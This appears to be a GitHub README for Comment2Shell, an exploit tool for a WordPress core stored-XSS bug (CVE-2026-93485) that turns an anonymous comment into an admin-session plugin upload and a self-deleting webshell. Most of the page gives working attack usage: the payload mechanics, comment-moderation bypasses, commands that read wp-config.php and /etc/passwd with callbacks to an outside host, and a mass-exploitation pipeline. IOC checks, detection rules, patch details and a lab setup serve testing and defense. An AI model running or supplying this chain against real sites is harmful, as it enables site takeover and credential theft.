零点击预认证 WordPress CVE-2026-93485 漏洞利用链:wpautop() 中的存储型 XSS 升级为管理员会话插件上传和自删除 webshell,附带扫描器、shell 和 Nuclei 模板。
Comment2Shell 是 CVE-2026-93485 的端到端概念验证,该漏洞是 WordPress 核心 wpautop() 中的预认证存储型 XSS,可升级为管理员会话内的远程代码执行。一条匿名评论植入载荷;当管理员打开文章时,浏览器上传一个 webshell 插件、执行命令,然后再次删除该 shell。整个攻击链是一个无依赖的 Python 文件。
Comment2Shell 是 CVE-2026-93485 的漏洞利用工具和本地实验套件。该漏洞位于 wp-includes/formatting.php 中,在评论文本显示时运行的 wpautop() 段落过滤器里。blockquote cite 属性内的换行符会变成一个 HTML 注释占位符;包裹 blockquote 的正则在第一个 > 处停止,并向属性中间注入一个段落标签,浏览器随后将其解析为 处理器。 属性使其零点击触发。
onfocusautofocus该工具覆盖整个攻击链:被动版本扫描、无害 XSS 探测、完整的预认证到 RCE 利用、交互式 shell,以及防御性 IOC 检查。
该漏洞利用不需要账户、不需要 nonce,除了管理员查看文章外不需要任何交互。只需评论功能处于开放状态。
WordPress 运行着互联网的很大一部分,而 wpautop() 是核心代码,因此无论主题或插件如何,易受攻击的过滤器都会随每个受影响的安装一起发布。该 XSS 是存储型、预认证且零点击的。由于它在管理员会话中执行,它不仅仅是一个篡改漏洞:管理员 cookie 足以安装插件,而安装插件就是任意代码执行。
该修复随 WordPress 7.1.1 发布,并向后移植到 25 个分支,低至 4.7.36。从 4.7.0 到 7.1.0 的每个版本都受影响。
针对 WordPress 7.1.0 的受控实验运行:一条匿名评论植入载荷,管理员打开文章触发零点击攻击链,webshell 上传,命令输出返回,shell 自行删除。浏览器标签页标题报告结果,要么是 Comment2Shell: shell uploaded,要么是 Comment2Shell: admin login required。确切步骤见 docker/README.md。
Comment2Shell 并不声称发现了该缺陷。它由 Rafie Muhammad(Awesome Motive)通过 HackerOne WordPress 项目报告,并在 7.1.1 中修复。此处的贡献是完整攻击链的可复现、无依赖实现:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
无依赖。仅 Python 3.8+ 标准库,无需 pip install。
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -d targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
利用载荷在页面加载时触发
alert("Comment2Shell XSS - CVE-2026-93485")(通过autofocus零点击)。以管理员身份登录时查看文章。成功后标签页标题显示Comment2Shell: shell uploaded,如果浏览器没有管理员会话则显示Comment2Shell: admin login required。
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup
# With an OAST callback
python3 comment2shell.py -t https://target.com \
-c "cat /etc/passwd" \
--callback https://your-id.oast.example
# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
-c "whoami" --known-commenter
# Through a proxy
python3 comment2shell.py -t https://target.com \
-c "id" --proxy http://127.0.0.1:8080
该工具提交 XSS 评论,每 3 秒轮询生成的 webshell 路径(最多 --wait 秒),一旦管理员的浏览器触发上传就运行命令,然后自行删除 shell(?d=1 解除 PHP 文件的链接并移除插件目录),因此不会留下任何持久化。传入 --no-cleanup 可保留它,或传入 --wait 0 仅提交载荷。
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
--shell-path ab12cd/ab12cd.php
# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
--shell-path ab12cd/ab12cd.php -c "cat wp-config.php"
python3 comment2shell.py --ioc -t https://target.com
来自首次评论者的新评论通常会被留待审核。该工具有三种绕过途径:
| 途径 | 方法 | 标志 |
|---|---|---|
| 已知评论者 | 复用默认的 "A WordPress Commenter" <[email protected]>,check_comment() 会自动批准 | --known-commenter |
| 关闭审核 | 如果 comment_previously_approved=0,任何身份都会被自动批准 | 默认 |
| 作者预览 | 先前的评论者通过 ?unapproved=<id>&moderation-hash=<hash> cookie 查看待审核评论 | 自动 |
据 Patchstack 称:"审核不是一种安全控制。"
启动一个易受攻击的 WordPress 7.1.0 用于本地测试:
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80 (host networking)
# Admin: admin / Password123!
# Then: python3 comment2shell.py -t http://localhost -c "id"
每次运行都会提交一条新的载荷评论。页面上只有第一个 autofocus 载荷会运行,因此该工具会检测活动载荷并轮询其路径;在两次运行之间运行 bash clean.sh 以清除较旧的评论。
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null
# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
onfocus%' ORDER BY comment_date DESC;"
# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
-newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
-not -path "*/hello*"
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"
# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|
# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
httpx -silent -title | \
grep -i "wordpress" | \
python3 comment2shell.py --scan --stdin --threads 20
# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
python3 comment2shell.py -t - -c "id" \
--callback https://your-id.oast.example
# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
--threads 30 -o scan_results.json --json
wp-includes/formatting.php:563(易受攻击,7.1.1 之前):
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
该载荷在保存时是无害的 HTML。blockquote[cite] 和 code 在评论允许列表中(wp-includes/kses.php:605-633)。换行符不在 wp_kses_hair() 的语法字符映射中。漏洞利用发生在显示时,即 comment_text 过滤器转换存储的 HTML 时。
add_filter( 'comment_text', 'wptexturize' ); // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 ); // THE BUG
该修复随 7.1.1 发布,覆盖 25 个分支。从 4.7.0 到 7.1.0 的每个版本都受影响。
| 分支 | 易受攻击 <= | 已修复 |
|---|---|---|
| 7.1 | 7.1.0 | 7.1.1 |
| 7.0 | 7.0.4 | 7.0.5 |
| 6.9 | 6.9.7 | 6.9.8 |
| 6.8 | 6.8.8 | 6.8.9 |
| 6.7 | 6.7.7 | 6.7.8 |
| 6.6 | 6.6.7 | 6.6.8 |
| 6.5 | 6.5.10 | 6.5.11 |
| 6.4 | 6.4.10 | 6.4.11 |
| 6.3 | 6.3.10 | 6.3.11 |
| 6.2 | 6.2.11 | 6.2.12 |
| 6.1 | 6.1.12 | 6.1.13 |
| 6.0 | 6.0.14 | 6.0.15 |
| 5.9 | 5.9.16 | 5.9.17 |
| 5.8 | 5.8.15 | 5.8.16 |
| 5.7 | 5.7.17 | 5.7.18 |
| 5.6 | 5.6.19 | 5.6.20 |
| 5.5 | 5.5.20 | 5.5.21 |
| 5.4 | 5.4.21 | 5.4.22 |
| 5.3 | 5.3.23 | 5.3.24 |
| 5.2 | 5.2.26 | 5.2.27 |
| 5.1 | 5.1.24 | 5.1.25 |
| 5.0 | 5.0.27 | 5.0.28 |
| 4.9 | 4.9.31 | 4.9.32 |
| 4.8 | 4.8.30 | 4.8.31 |
| 4.7 | 4.7.35 | 4.7.36 |
Comment2Shell/
|-- comment2shell.py scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/ vulnerable WordPress 7.1.0 lab
| |-- docker-compose.yml
| |-- setup.sh
| |-- clean.sh
| +-- README.md
|-- nuclei/ detection template
|-- ioc/ server-side IOC checker
|-- requests/ raw HTTP exploit templates
|-- assets/ banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE
wptexturize 封住属性);经典主题可能不会触发它。docker/clean.sh 清除。
本项目用于授权的安全测试和教育。仅对你拥有或获得明确书面许可测试的系统使用它。未经授权访问计算机系统在大多数司法管辖区都是非法的。作者不对误用或损害负责。见 LICENSE。
0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383